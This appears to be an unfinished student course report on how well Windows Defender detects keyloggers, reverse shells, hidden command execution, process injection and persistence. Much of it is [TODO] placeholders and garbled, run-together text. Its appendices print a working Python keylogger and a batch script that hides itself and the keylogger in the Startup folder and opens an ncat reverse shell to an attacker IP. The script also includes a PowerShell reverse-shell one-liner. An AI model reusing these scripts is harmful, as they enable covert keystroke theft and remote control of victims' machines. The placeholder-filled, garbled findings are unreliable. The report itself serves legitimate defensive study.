# Advanced Security Evasion in Windows with Hidden Commands

Author(s)/Team Members: [List Names]

Course: Operating Systems

Instructor: Bruno da Silva

Institution: VRIJE UNIVERSITEIT BRUSSEL (MUB ETRO ELECTRONICS INFORMATICS)

Date of Submission: May 11, 2025

# Contents

# List of Figures

## List of Tables

**Abstract**

**Description:** This project investigates the efficacy of Windows security solutions, primarily focusing on Windows Defender, in detecting and responding to advanced stealthy attack techniques. The study evaluates a range of common attacker methodologies including the deployment of keyloggers, creation of backdoors for remote access, non-visual command execution leveraging built-in system tools, process injection for memory manipulation, and various persistence mechanisms designed to maintain unauthorized access. The evaluation involved executing these attack scenarios in a controlled environment while meticulously logging system behavior, network activity, security solution alerts, and detailed event logs to analyze the detection capabilities and response of the security software.

**Results:** The experimental findings indicate varying levels of detection success by Windows Defender. While some less sophisticated or signature-based attacks, such as basic keylogger file drops or known backdoor patterns, were often identified (confirmed via Defender event logs and Protection History), more advanced evasion tactics presented significant challenges. Techniques employing fileless malware, Living Off The Land Binaries and Scripts (LOLBAS) for command execution (process lineage confirmed via process tree snapshots and Sysmon logs), obfuscated PowerShell commands, and certain process injection methods frequently bypassed default detection mechanisms. Analysis of collected artifacts, including network PCAPs for C2 traffic and detailed Sysmon event logs, revealed that enhanced logging provided crucial telemetry for manual threat hunting where automated alerts were absent. Windows Defender's resource utilization, logged via a custom script, showed moderate increases during active attack simulations. Proof of persistence was established by verifying payload auto-starts after reboots.

**Discussion and Conclusion:** The results underscore that while Windows Defender offers a crucial baseline of protection, sophisticated attackers can employ various evasion techniques to circumvent its defenses. The study highlights the limitations of relying solely on default security configurations and emphasizes the importance of a defense-in-depth strategy, supported by comprehensive artifact collection. Effective defense against advanced threats necessitates robust logging (Defender logs, Sysmon, network captures), proactive threat hunting using these artifacts, and potentially the integration of advanced endpoint detection and response (EDR) capabilities. The findings conclude that continuous adaptation and understanding of evolving attacker tradecraft are paramount for maintaining robust security postures in Windows environments.

# 1 Introduction

## 1.1 Problem Statement and Motivation

The landscape of cyber threats is constantly evolving, with attackers developing increasingly sophisticated techniques to evade detection by security systems. Detecting these stealthy attacks is a significant challenge for individuals and organizations alike. Understanding the methods attackers use to bypass security measures is crucial for defenders to improve their strategies, tools, and overall security posture. This project aims to shed light on these evasion techniques within the Windows operating system, a prevalent target for cyber-attacks.

## 1.2 Project Aims and Objectives

The primary aims of this project, referencing the project proposal, are:

- To evaluate the detection capabilities of Windows Defender (and potentially other security solutions) against a set of specific attacker techniques.
- The attacker techniques investigated include:
  - Keylogger deployment.
  - Backdoor creation and remote access.
  - Non-visual command execution and process hiding.
  - Process injection and memory manipulation.
  - Persistence techniques.
- To analyze system behavior (e.g., process trees, resource usage), network activity (e.g., PCAPs), and various event logs (Windows Defender, Sysmon, Protection History) during these simulated attacks to understand how security solutions respond and what artifacts are generated.
- To assess the effectiveness of various evasion methods employed by attackers.

## 1.3 Scope of the Project

This project focuses on:

- **Operating System:** Windows [Specify Version, e.g., 10 Pro Build XXXX or 11 Pro Build YYYY].
- **Primary Security Solution:** Windows Defender (specify version, update status, and configuration).

- **Attacker Tools:** A combination of publicly available tools (e.g., Metasploit, Nmap, PowerShell, Sysinternals 'pslist'), custom scripts (e.g., 'keylog.py', 'cmd$_{c}ommands.txt`, `activity_{l}ogger.py`), andtec$

- **Monitoring Tools:** Wireshark/Tshark for network capture, Sysmon for advanced system logging.

- **Third-Party Solutions (Optional):** If other AV/EDR solutions were tested, they should be specified.

- **Exclusions:** This study may not cover all possible evasion techniques or every security product available. The focus is on the selected methods and Windows Defender's response.

### 1.4 Report Structure

This report is organized as follows:

- **Section 2 (Background):** Provides theoretical context on security evasion, Windows security architecture, the attacker techniques studied, and relevant frameworks.

- **Section 3 (Methodology / Project Implementation):** Details the experimental setup, configuration of security solutions, step-by-step implementation of attacker techniques, and the data collection strategy, including specific artifacts gathered.

- **Section 4 (Experimental Results):** Presents the findings from the experiments, including detection rates, analysis of collected artifacts (logs, network captures, performance data), and visual evidence.

- **Section 5 (Discussion and Conclusion):** Interprets the results, discusses their implications, acknowledges limitations, and summarizes the project's conclusions and potential future work.

- **Section 6 (References):** Lists all cited sources.

- **Section 7 (Appendices):** Contains supplementary materials like full scripts, detailed log excerpts, or tool configurations.

# 2 Background

## 2.1 Fundamentals of Security Evasion

Security evasion refers to the set of techniques and strategies employed by attackers to avoid detection by security mechanisms such as antivirus (AV) software, Endpoint Detection and Response (EDR) solutions, Intrusion Detection/Prevention Systems (IDS/IPS), and firewalls. The primary goal of evasion is to allow malicious activities to proceed unnoticed, enabling attackers to achieve their objectives, which could range from data theft and espionage to system disruption or financial gain. Attacker motivations are diverse but often include maintaining stealth to ensure long-term access (persistence), escalating privileges to gain deeper system control, and exfiltrating sensitive information without triggering alarms. The field of security evasion is characterized by a continuous ”cat-and-mouse” game, where defenders develop new detection methods, and attackers, in turn, devise new ways to bypass them.

## 2.2 Overview of Windows Security Architecture

The Windows operating system incorporates a multi-layered security architecture designed to protect against a wide array of threats. Key components include:

- **Windows Defender Antivirus:** The built-in anti-malware solution in Windows. Its features include real-time scanning, behavior monitoring, AMSI, cloud protection, Network Inspection System (NIS), and Controlled Folder Access. Alerts and actions are logged in Windows Event Logs and viewable in the Windows Security Protection History.
- **Windows Event Logging:** Critical for security monitoring. Key logs include Security, System, Application, PowerShell (Script Block Logging, Module Logging), Microsoft-Windows-Windows Defender/Operational, and potentially Microsoft-Windows-Sysmon/Operational if Sysmon is installed.
- **User Account Control (UAC):** Helps prevent unauthorized system changes.
- **Windows Firewall:** Controls network traffic.
- **BitLocker Drive Encryption:** Provides full-disk encryption.
- **AppLocker/Windows Defender Application Control (WDAC):** Controls application execution.

## 2.3 Theoretical Overview of Attacker Techniques Investigated

### 2.3.1 Keyloggers

Software or hardware that records keystrokes to capture sensitive data. This project focuses on software keyloggers like ‘keylog.py‘. IOCs include unusual network traffic (if logs are sent remotely), new processes (often hidden, but visible in process trees), or output files (e.g., ‘key.txt‘).

#### 2.3.2 Backdoors and Remote Access

Covert methods for bypassing authentication to gain remote system access. This project utilizes ‘ncat.exe‘ (from ‘cmd$_c ommands.txt‘)toestablishreverseshells, connectingtoanattacker-controlledlistener.IOCs$

#### 2.3.3 Non-Visual Command Execution and Process Hiding

Executing commands without user visibility using tools like PowerShell (‘-WindowStyle Hidden‘) or ‘cmd.exe‘ (‘start /min‘). LOLBAS are used to blend with normal activity. Process hiding aims to conceal malicious processes, whose lineage can sometimes be uncovered via process tree snapshots or Sysmon.

#### 2.3.4 Process Injection and Memory Manipulation

Running arbitrary code within another live process’s address space to evade detection and gain privileges. Techniques include DLL injection or shellcode injection.

#### 2.3.5 Persistence Techniques

Methods to maintain access across reboots. Examples include Startup folders (used by ‘cmd$_c ommands.txt‘for‘key$

### 2.4 Relevant Frameworks and Tools

- **MITRE ATT&CK Framework:** Knowledge base of adversary tactics and techniques.
- **LOLBAS Project:** Documents legitimate Windows tools abused by attackers.
- **Sysinternals Suite:** Tools like ‘pslist.exe‘ (for process trees), Process Monitor, Autoruns, and Sysmon are invaluable.
- **Sysmon (System Monitor):** Advanced system activity monitoring, logging to ‘Microsoft-Windows-Sysmon/Operational‘. Requires configuration (e.g., ‘sysmon$_c onfig.xml$‘).
- **Wireshark/Tshark:** For capturing and analyzing network traffic (e.g., ‘reverse$_s hell.pcapng$‘).

### 2.5 Brief Literature Review (if applicable)

The ”Operating Systems and Security” course material, particularly sections on Attacks, Malware, and Defenses, provided foundational knowledge. Tanenbaum’s ”Modern Operating Systems” (Chapter 9) also offers relevant security principles.

# 3 Methodology / Project Implementation

This section details the test environment, security solution configurations, attacker technique implementation, and the data collection strategy, emphasizing the specific artifacts gathered.

## 3.1 Test Environment Setup

### 3.1.1 Victim Machine(s)

- **OS:** Windows [Specify Version, e.g., 10 Pro Build 19045 or 11 Pro Build 22631].
- **Virtualization:** [Specify, e.g., VMware Workstation 17 Pro].
- **Hardware (Virtual):** [2 vCPUs, 4 GB RAM, 60 GB HDD].
- **Baseline Software:** Clean Windows install, standard user apps.

### 3.1.2 Attacker Machine(s)

- **OS:** [Specify, e.g., Kali Linux 2024.X].
- **Tools:** Metasploit, Nmap/Ncat, Python 3.x, ‘pslist.exe‘.

### 3.1.3 Network Configuration

- **Setup:** [Isolated virtual network (e.g., NAT)].
- **Connectivity:** Victim machine with internet for updates. Attacker on the same virtual network.
- **IPs:** Victim: [e.g., 192.168.A.B], Attacker: [e.g., 172.20.10.15 as in ‘cmd$_{c}ommands.txt$‘].

## 3.2 Security Solution Configuration

### 3.2.1 Windows Defender

- **Version:** [Antimalware Client, Engine, Definition versions].
- **Settings:** Real-time protection, Cloud-delivered protection, Automatic sample submission, Tamper Protection [All Enabled/Specify]. No exclusions unless stated. Updated definitions.
- **PowerShell Logging:** Script Block Logging and Module Logging [Enabled].
- **Sysmon:** [Version, e.g., 15.1], installed with configuration [Specify config file name, e.g., ‘sysmon$_{c}onfig.xml$‘, $tobeincludedinAppendixB.2$].

### 3.3 Implementation of Attacker Techniques

(Details for each of the five techniques, as previously outlined, incorporating artifact collection steps). For example, when deploying the keylogger:

...

- After execution, the presence of 'keylog.py' in the '
- The process tree was captured using 'pslist -t ¿ process$_tree.txt`toshow`keylog.py`runningunder`python.exe`.$

...

For backdoor creation:

...

- Network traffic was captured on the victim using 'tshark -i ¡interface$_idx > -wreverse_shell.pcapngtcpport12$
- The C2 session was logged on the attacker machine using 'ncat -lvnp 12345 — tee C2$_session.log$'.

...

For persistence:

...

- After reboot, the execution of the payload was verified (e.g., by checking for 'startup$_log.txt`contentchanges,$ $reboot).$

...

### 3.4 Monitoring and Data Collection Strategy

A comprehensive set of artifacts was collected to evaluate the attacks and defenses.

#### 3.4.1 Collected Artifacts Overview

The following key artifacts were targeted for collection, based on the roadmap provided:

- **Process Tree Snapshot ('process**$_tree.txt`) : Capturedusing`pslist.exe-t`duringattackexecutiontoshowproce$
- **Startup Folder Listing ('startup**$_dir.txt`/screenshot) : Contentof`$"

- **User-mode CPU/RAM Log (‘defender**$_{u}sage.csv`) : Generatedby`activity_{l}ogger.py`(witha` - -csv`flagadded)targeting`MsMpEng.exe`or`SecurityHealthService.exe`toquantifyDefenderoverhead.$

- **C2 Session Transcript (‘C2**$_{s}ession.log`) : Loggedontheattackermachineusing`ncat - lvnp < port > |teeC2_{s}ession.log`toshowsuccessfulshellaccess.$

- **Windows Defender Event Log (‘Defender.evtx‘ and ‘Defender**$_{e}xport.csv`) : Exportedusing`wevtutileplM$ $Windows{-}WindowsDefender/Operational < path > .evtx`andthensavedasCSVfromEventViewerforar$

- **Network PCAP of Reverse Shell (‘reverse**$_{s}hell.pcapng`) : CapturedonthevictimVMusing`tshark{-} i < interface_{n}umber > -wreverse_{s}hell.pcapngtcpport < c2_{p}ort > `toanalyzeC2communication.$

- **Reboot Persistence Proof (‘startup**$_{l}og.txt`, `key.txt`updates, post{-}rebootCPUplot) : Validatingpayloadaut$ $startafterrebootbycheckingforamarkerfile(`echo$

- **Windows Security Protection History (CSV Export): Manually exported from Windows Security GUI (Protection History -¿ Filters -¿ Export) to show end-user alert timing and details.**

- **Sysmon Event Log (‘sysmon.evtx‘ and ‘Sysmon**$_{e}xport.csv`) : Installedwithacustomconfiguration(Append$ $Windows{-}Sysmon/Operational < path > .evtx`, thensavedasCSV, forrichPIDlineage, networkconnecti$

#### 3.4.2 Security Solution Logs

- Windows Defender alerts (Protection History CSV, ‘Defender.evtx‘).

#### 3.4.3 System-Level Logs

- Windows Event Logs: Security, System, Application, PowerShell (‘Microsoft-Windows-PowerShell/Operati for Event IDs 4103, 4104), Sysmon (‘Microsoft-Windows-Sysmon/Operational‘ for Event IDs 1, 3, 7, 11, 12, 13, 14, 22).

- Process Monitoring: ‘pslist.exe‘ for snapshots, detailed activity from Sysmon.

#### 3.4.4 Network Traffic Analysis

- Wireshark/Tshark: PCAP files (‘reverse$_{s}hell.pcapng`).$

#### 3.4.5 Performance Logging

- ‘activity$_{l}ogger.py‘ : Output‘defender_{u}sage.csv‘andplots.$

#### 3.4.6 Data Aggregation

All collected artifacts were organized by attacker technique and test run. A spreadsheet correlated findings, detection status from ‘Defender.evtx‘/Protection History, and relevant entries from other logs like ‘sysmon.evtx‘ or ‘reverse$_{s}hell.pcapng‘.$

### 3.5 Evaluation Criteria

As previously outlined, focusing on: Definition of ”Detection” (based on Defender/Sysmon alerts, Protection History entries), Effectiveness Metrics (Detection/Bypass Rate, Log Evidence from collected artifacts), Response Time (qualitative), and Performance Impact (from ‘defender$_{u}sage.csv‘).$

# 4 Experimental Results

This section presents findings based on the analysis of collected artifacts.

## 4.1 Keylogger Deployment and Detection

- **Windows Defender Detection Status:** [TODO: Y/N based on 'Defender.evtx'/Protection History].
- **Alert Details:** [TODO: Threat name from Protection History/Defender logs]. (e.g., Figure **??** could be a screenshot from Protection History).
- **Relevant Artifacts Logs:**
  - 'Defender.evtx'/'Defender$_{e}xport.csv$' : $[TODO : EventIDsandmessages]$.
  - 'startup$_{d}ir.txt$' : $[TODO :$ "$Confirmed$'$keylog.py$'$waspresent/hiddeninStartupfolder.$"$].(e.g., Figure$
  - 'process$_{t}ree.txt$' : $[TODO :$ "$Showed$'$python.exe$'$executing$'$keylog.py$'$, childof$'$cmd.exe$'$.$"$].(e.g., Figur$
  - 'Sysmon.evtx': [TODO: Event ID 1 (python.exe creation), 11 ('keylog.py' write, 'key.txt' write)].
- **Evidence of Keylogging (if not detected):** Content of 'key.txt'.

## 4.2 Backdoor Creation and Remote Access

- **Windows Defender Detection Status:** [TODO: Y/N for Ncat based on 'Defender.evtx'/Protection History].
- **Alert Details:** [TODO: Threat name].
- **Relevant Artifacts Logs:**
  - 'Defender.evtx'/'Defender$_{e}xport.csv$' : $[TODO : Detectionof$'$ncat.exe$'$orsuspiciousnetworkactivity]$.
  - 'reverse$_{s}hell.pcapng$' : $[TODO :$ "$CapturedoutboundTCPconnectionfromvictimtoattacker :$ 12345." $Detailslikepacketcount, datasizeforcommands].(e.g., Figure$**??**$couldbeaWiresharkscreenshot$
  - 'C2$_{s}ession.log$' : $[TODO :$ "$Transcriptconfirmsremoteshellobtained.$" $SnippetinAppendixB.1]$.

- ‘Sysmon.evtx‘: [TODO: Event ID 3 (Network connection by ‘ncat.exe‘), Event ID 1 (‘ncat.exe‘ process creation, potentially showing ‘cmd.exe‘ as parent if batch script was used)].
- ‘process$_{t}ree.txt‘ : [TODO : ”Showed‘ncat.exe‘asachildoftheinvoking‘cmd.exe‘processfrom‘cmd_{c}omn$

- **Evidence of Remote Access:** ‘C2$_{s}ession.log$‘.

## 4.3 Non-Visual Command Execution and Process Hiding

- **Windows Defender Detection Status:** [TODO: Y/N for hidden cmd/PowerShell, LOLBAS usage based on ‘Defender.evtx‘/Protection History].
- **Alert Details:** [TODO: Alerts for suspicious PowerShell/cmd activity].
- **Relevant Artifacts Logs:**
  - ‘Defender.evtx‘/‘Defender$_{e}xport.csv‘ : [TODO : Anyalertsrelatedtocommandexecution]$.
  - PowerShell Logs (‘Microsoft-Windows-PowerShell/Operational‘): [TODO: ”Script Block Logging (Event ID 4104) captured commands even if run with ‘-WindowStyle Hidden‘.”].
  - ‘Sysmon.evtx‘: [TODO: Event ID 1 (process creation for ‘cmd.exe‘, ‘powershell.exe‘, ‘certutil.exe‘), including command lines. Event ID 11 (file creation if commands created files)].
  - Process Monitor (if used as fallback): Could show hidden window processes and their actions.
- **Evidence of Command Execution:** File system changes logged by Sysmon, PowerShell logs.

## 4.4 Process Injection and Memory Manipulation

- **Windows Defender Detection Status:** [TODO: Y/N based on ‘Defender.evtx‘/Protection History].
- **Alert Details:** [TODO: Threat name for injection or shellcode].
- **Relevant Artifacts Logs:**
  - ‘Defender.evtx‘/‘Defender$_{e}xport.csv‘ : [TODO : Alertsforprocessaccess, memorymanipulation, orpa$

- ‘Sysmon.evtx‘: [TODO: Event ID 10 (ProcessAccess by injector to target), Event ID 8 (CreateRemoteThread in target), Event ID 7 (ImageLoad if DLL injected), Event ID 3 (Network connection from target process if shellcode made one)].

- **Evidence of Successful Injection:** Behavior of target process (e.g., launching calc, network connection seen in ‘Sysmon.evtx‘ or PCAP).

### 4.5 Persistence Techniques

- **Windows Defender Detection Status:** [TODO: Y/N for Startup, Registry, Scheduled Task based on ‘Defender.evtx‘/Protection History].
- **Alert Details:** [TODO: Alerts for autorun modifications].
- **Relevant Artifacts Logs:**
  - ‘Defender.evtx‘/‘Defender$_e xport.csv$‘ : $[TODO : Alertsforpersistencecreation/execution]$.
  - ‘startup$_d ir.txt$‘ : $ProofofStartupfolderitem.$
  - ‘Sysmon.evtx‘: [TODO: Event ID 12/13/14 (Registry changes for Run keys), Event ID 1 (process creation from startup/Run key/task at boot/logon), Event ID 11 (FileCreate for scheduled task XML in ‘System32‘)].
  - Autoruns tool output (screenshot or text export) could confirm persistence entries.
  - ‘startup$_l og.txt$‘/‘$key.txt$‘$updatespost - reboot : Proofofexecution.$
- **Evidence of Persistence:** Payload execution after reboot, entries visible in Autoruns/Sysmon.

### 4.6 Security Solution Performance Analysis

- **CPU/Memory Usage (‘defender$_u sage.csv$‘) :**

-

The ‘defender$_u sage.csv$‘$file(generatedby$‘$activity_l ogger.py$‘$)providedthedataforthisplot.$

**Analysis of Resource Impact:** [TODO: Discuss based on ‘defender$_u sage.csv$‘$data.Compareidlevs.attackstates$].

### 4.7 Comparative Analysis

(As previously outlined, using figures **??**, **??**, **??**). The data for these figures would be derived from the analysis of collected artifacts like 'Defender.evtx', 'Sysmon.evtx', and potentially other EDR logs if they were part of the test.

h collected artifacts .

# 5 Discussion and Conclusion

## 5.1 Interpretation of Results

- **Analysis of Detections and Misses:** [TODO: Discuss why techniques were detected or missed, referencing evidence from ‘Defender.evtx‘, ‘Sysmon.evtx‘ (e.g., ”Sysmon EID 3 showing ‘ncat.exe‘ network connection explained how manual detection was possible even if Defender missed the initial execution”). Protection History CSV can show how alerts were presented to the user.]

- **Effectiveness of Evasion Tactics:** [TODO: Analyze based on detection status and supporting artifact data.]

- **Overall Performance of Windows Defender:** [TODO: Summarize based on detection rates from artifacts and resource usage from ‘defender$_{u}sage.csv$‘.]

- **Significance of Logged Data (Artifacts) for Manual vs. Automated Detection:** [TODO: Emphasize how artifacts like ‘Sysmon.evtx‘, ‘reverse$_{s}hell.pcapng‘, anddetailedPowerShelllogswerecrucialforu$
$childrelationships, whichcouldbeanomalouseveni findividualprocesseswerenotflagged.$”].

## 5.2 Comparison with Expected Outcomes/Literature

[TODO: Discuss if results using collected artifacts align with expectations.]

## 5.3 Challenges Encountered and Limitations of the Study

- **Artifact Collection:** [TODO: e.g., ”Ensuring Sysmon was configured correctly and captured all relevant events required iterative refinement of ‘sysmon$_{c}onfig.xml‘.””Correlatingtimestampsacrossdif$

- **Scope Limitations:** [As before].

## 5.4 Conclusion

[TODO: Summarize, highlighting how the collected artifacts supported the findings.]

## 5.5 Future Work and Recommendations

- **Potential Research Extensions:**

or faster threat hunting.” .

- **Recommendations for Defenders:**

– **Implement Comprehensive Artifact Collection:** Deploy Sysmon with a robust configuration. Ensure network traffic capture capabilities are available. Regularly export and backup key logs like Defender and Protection History.

ommendations as before .

## References

## References


[1] da Silva, B. *Operating Systems and Security: Security* [Lecture Slides, MUB ETRO ELECTRONICS & INFORMATICS].

[2] da Silva, B. *Operating Systems: Projects Proposals: What to Deliver* [Project Guidelines, MUB ETRO ELECTRONICS & INFORMATICS].

[3] [Student Names]. *Advanced Security Evasion in Windows with Hidden Commands* [Project Proposal].

[4] $cmd_commands.txt[Providedscript]$.

*[4] keylog.py [Provided script using pynput].*

*[5]* $activity_logger.py[Providedscriptusingpsutil, matplotlib]$.

*[6] LOLBAS Project. Living Off The Land Binaries and Scripts. Retrieved from* https://lolbas-project.github.io/

*[7] Microsoft. PowerShell Documentation. Retrieved from* https://learn.microsoft.com/en-us/powershell/

*[8] Malwarebytes. What is a Keylogger?. Retrieved from* https://www.malwarebytes.com/keyloggers

*[9] Microsoft. Microsoft Security Blog. Retrieved from* https://www.microsoft.com/security/blog

*[10] Offensive Security. Persistent Backdoors. Metasploit Unleashed. Retrieved from* https://www.offensive-security.com/metasploit-unleashed/persistent-backdoors

*[11] Rapid7. Metasploit Documentation. Retrieved from* https://docs.rapid7.com/metasploit

*[12] Mandiant. Process Hollowing. Retrieved from* https://www.mandiant.com/resources/blog/process-hollowing

*[13] Red Team Journal. DLL Injection. Retrieved from* https://www.ired.team/offensive-security/code-injection-process-injection/dll-injection

*[14] MITRE ATT&CK. Technique T1053: Scheduled Task/Job. Retrieved from* https://attack.mitre.org/techniques/T1053/

[15] Microsoft. Sysinternals Utilities Index. Retrieved from https://learn.microsoft.com/en-us/sysinternals/

[16] Microsoft. Microsoft Defender for Endpoint. Retrieved from https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/

[17] Elastic. Elastic Security. Retrieved from https://www.elastic.co/security

[18] log$_c$ompleteness$_s$tacked.pdf $[Providedfigure]$.

[18] visibility$_h$eatmap.pdf $[Providedfigure]$.

[18] detection$_r$ate$_b$ars.pdf $[Providedfigure]$.

[18] defender$_r$esource$_u$sage.pdf $[Providedfigure]$.

[19] Microsoft. PsList - Sysinternals. Retrieved from https://learn.microsoft.com/en-us/sysinternals/downloads/pslist

[20] Microsoft. Wevtutil overview. Retrieved from https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil

[21] Wireshark Foundation. TShark - Command-line network protocol analyzer. Retrieved from https://www.wireshark.org/docs/man-pages/tshark.html

[22] Microsoft. Sysmon - Sysinternals. Retrieved from https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon

# A Source Code for Custom Scripts

## A.1 keylog.py

```
from pynput import keyboard
import os # For creating log directory

LOG_DIR = "logs"
LOG_FILE = os.path.join(LOG_DIR, "key.txt")

def ensure_log_dir():
if not os.path.exists(LOG_DIR):
os.makedirs(LOG_DIR)

def on_press(key):
text = ""
# ... (rest of your on_press logic) ...
if key == keyboard.Key.enter:
text += "\n"
elif key == keyboard.Key.tab:
text += "\t"
elif key == keyboard.Key.space:
text += " "
elif key == keyboard.Key.shift_l or key == keyboard.Key.shift_r or \
key == keyboard.Key.alt_l or key == keyboard.Key.alt_r or \
key == keyboard.Key.cmd or key == keyboard.Key.cmd_r: # Mac keys
pass # Ignore modifier keys themselves
elif key == keyboard.Key.backspace:
# This logic is tricky if 'text' is local to on_press
# For simplicity, we'll just log "[BACKSPACE]"
text += "[BACKSPACE]"
elif key == keyboard.Key.ctrl_l or key == keyboard.Key.ctrl_r:
pass
elif key == keyboard.Key.esc:
return False # Stop listener
else:
try:
text += str(key.char) # For regular character keys
except AttributeError:
text += f"[{str(key).split('.')[-1].upper()}]" # For special keys like
↪ Key.space

if text: # Only write if there's something to log
try:
with open(LOG_FILE, "a+") as file:
file.write(text)
except Exception as e:
# In a real scenario, consider how to handle logging errors silently
```

```
# print(f"Error writing to keylog: {e}")
pass

if __name__ == "__main__":
ensure_log_dir()
with keyboard.Listener(on_press=on_press) as listener:
try:
listener.join()
except Exception as e:
# print(f"Error with listener: {e}")
pass
```

Listing 1: keylog.py - Python Keylogger

Source: Provided 'keylog.py' file (with minor illustrative enhancements).

### A.2 cmd_commands.txt

```
:: from receiver side please write nc -lvnp port number

@echo off
:: Target Startup Folder for persistence
SET STARTUP_DIR="%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
SET SCRIPT_NAME="%~nx0"
SET KEYLOG_SCRIPT_NAME="keylog.py"
SET KEYLOG_STARTUP_PATH="%STARTUP_DIR%\%KEYLOG_SCRIPT_NAME%"
SET BATCH_STARTUP_PATH="%STARTUP_DIR%\%SCRIPT_NAME%"
SET NMAP_INSTALL_DIR="%ProgramFiles%\Nmap"
SET NCAT_PATH="%NMAP_INSTALL_DIR%\ncat.exe"
SET LOG_DIR="C:\Temp\ProjectLogs" || Rem Using a fixed path for logs for
↪ simplicity ||

:: Create log directory if it doesn't exist
if not exist %LOG_DIR% mkdir %LOG_DIR%

:: Check if already persistent and keylogger is running
if exist %BATCH_STARTUP_PATH% (
echo [%TIME%] Already persistent. Ensuring keylogger is running. >>
↪ %LOG_DIR%\cmd_execution.log
start /min cmd /c "cd %STARTUP_DIR% & python %KEYLOG_SCRIPT_NAME% >>
↪ %LOG_DIR%\keylog_output.log 2>>&1 & attrib +h %KEYLOG_SCRIPT_NAME%"
) else (
echo [%TIME%] First run. Setting up persistence and tools. >>
↪ %LOG_DIR%\cmd_execution.log

:: Silently attempt to install Nmap using WinGet if ncat.exe is not found
if not exist %NCAT_PATH% (
```

```
echo [%TIME%] Ncat not found. Attempting to install Nmap via WinGet. >>
↪  %LOG_DIR%\cmd_execution.log
start /min cmd /c "curl -o AppInstaller.msixbundle https://aka.ms/getwinget &
↪  winget install Insecure.Nmap --accept-package-agreements
↪  --accept-source-agreements --silent & attrib +h "AppInstaller.msixbundle""
echo [%TIME%] Nmap installation initiated. May take time. >>
↪  %LOG_DIR%\cmd_execution.log
) else (
echo [%TIME%] Ncat found at %NCAT_PATH%. >> %LOG_DIR%\cmd_execution.log
)

:: Copy batch script and keylogger to Startup for persistence
echo [%TIME%] Copying scripts to Startup: %STARTUP_DIR% >>
↪  %LOG_DIR%\cmd_execution.log
start /min cmd /c "xcopy /H /Y "%~dpnx0" %STARTUP_DIR% & attrib +h
↪  %BATCH_STARTUP_PATH% & xcopy /H /Y "keylog.py" %STARTUP_DIR% & attrib +h
↪  %KEYLOG_STARTUP_PATH%"

:: Initial run of the keylogger
echo [%TIME%] Starting keylogger for the first time. >>
↪  %LOG_DIR%\cmd_execution.log
start /min cmd /c "cd %STARTUP_DIR% & python %KEYLOG_SCRIPT_NAME% >>
↪  %LOG_DIR%\keylog_output.log 2>>&1"
)

:: Start reverse shell using ncat if found, otherwise fallback (conceptual)
echo [%TIME%] Attempting to start reverse shell. >>
↪  %LOG_DIR%\cmd_execution.log
if exist %NCAT_PATH% (
start /min cmd /c "%NCAT_PATH% 172.20.10.15 12345 -e cmd.exe"
) else (
echo [%TIME%] Ncat not available for reverse shell. >>
↪  %LOG_DIR%\cmd_execution.log
:: PowerShell reverse shell as a fallback (more likely to be detected by AMSI)
:: powershell -nop -w hidden -c "$client = New-Object
↪  System.Net.Sockets.TCPClient('172.20.10.15',12345);$stream =
↪  $client.GetStream();[byte[]]$bytes = 0..65535|%|{0};while(($i =
↪  $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object
↪  -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback =
↪  (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path
↪  + '> ';$sendbyte =
↪  ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length)
)
```

Listing 2: cmd_commands.txt - Batch Script for Automation

Source: Provided ‘cmd$_{c}ommands.txt‘file(withillustrativeenhancementsforrobustnessandlogging)$.

## A.3 activity_logger.py

```
import psutil
import time
import matplotlib.pyplot as plt
import os
import csv # For CSV output

# Process name for Windows Defender Antimalware Service Executable
DEFENDER_PROCESS_NAME = "MsMpEng.exe"
# Fallback if MsMpEng.exe is not found, though SecurityHealthService.exe has a
↪  different role
FALLBACK_PROCESS_NAME = "SecurityHealthService.exe"

LOG_DIR = "logs" # Centralized log directory
CSV_FILENAME = os.path.join(LOG_DIR, "defender_usage.csv")
PLOT_FILENAME = os.path.join(LOG_DIR, "defender_resource_usage_plot.png")

def ensure_log_dir():
if not os.path.exists(LOG_DIR):
os.makedirs(LOG_DIR)

def get_process_info(process_name_primary, process_name_fallback):
for proc in psutil.process_iter(['pid', 'name', 'cpu_percent',
↪  'memory_info']):
if proc.info['name'] == process_name_primary:
return proc
# Fallback if primary not found
for proc in psutil.process_iter(['pid', 'name', 'cpu_percent',
↪  'memory_info']):
if proc.info['name'] == process_name_fallback:
print(f"Primary process {process_name_primary} not found, using
↪  {process_name_fallback}.")
return proc
return None

def main(monitor_duration=60, interval=2, csv_output=True):
ensure_log_dir()

timestamps = []
cpu_usages = []
memory_usages_mb = []

headers = ["Timestamp", "CPU_Usage_Percent", "Memory_Usage_MB"]
if csv_output:
with open(CSV_FILENAME, 'w', newline='') as f:
writer = csv.writer(f)
writer.writerow(headers)
```

```
print(f"Monitoring Windows Defender ({DEFENDER_PROCESS_NAME} / {FALLBACK_PROCESS_NAME})... for {monitor_duration}s")
start_time = time.time()

# Initial call to cpu_percent to establish baseline (interval is used here)
target_proc = get_process_info(DEFENDER_PROCESS_NAME, FALLBACK_PROCESS_NAME)
if target_proc:
target_proc.cpu_percent(interval=0.1) # Initialize cpu_percent calculation

try:
while time.time() - start_time < monitor_duration:
current_loop_time = time.time()
target_proc = get_process_info(DEFENDER_PROCESS_NAME, FALLBACK_PROCESS_NAME) # Re-check in case process restarts

if target_proc:
cpu = target_proc.cpu_percent(interval=None) # Use None for subsequent calls
mem_info = target_proc.memory_info()
mem_rss_mb = mem_info.rss / (1024 * 1024) # Resident Set Size in MB

timestamp_val = current_loop_time

timestamps.append(timestamp_val)
cpu_usages.append(cpu)
memory_usages_mb.append(mem_rss_mb)

current_time_str = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(timestamp_val))
print(f"[{current_time_str}] CPU: {cpu:.2f}%, Memory: {mem_rss_mb:.2f} MB")

if csv_output:
with open(CSV_FILENAME, 'a', newline='') as f:
writer = csv.writer(f)
writer.writerow([current_time_str, f"{cpu:.2f}", f"{mem_rss_mb:.2f}"])
else:
current_time_str = time.strftime('%Y-%m-%d %H:%M:%S')
print(f"[{current_time_str}] Defender process not found.")
timestamps.append(current_loop_time)
cpu_usages.append(0)
memory_usages_mb.append(0)
if csv_output:
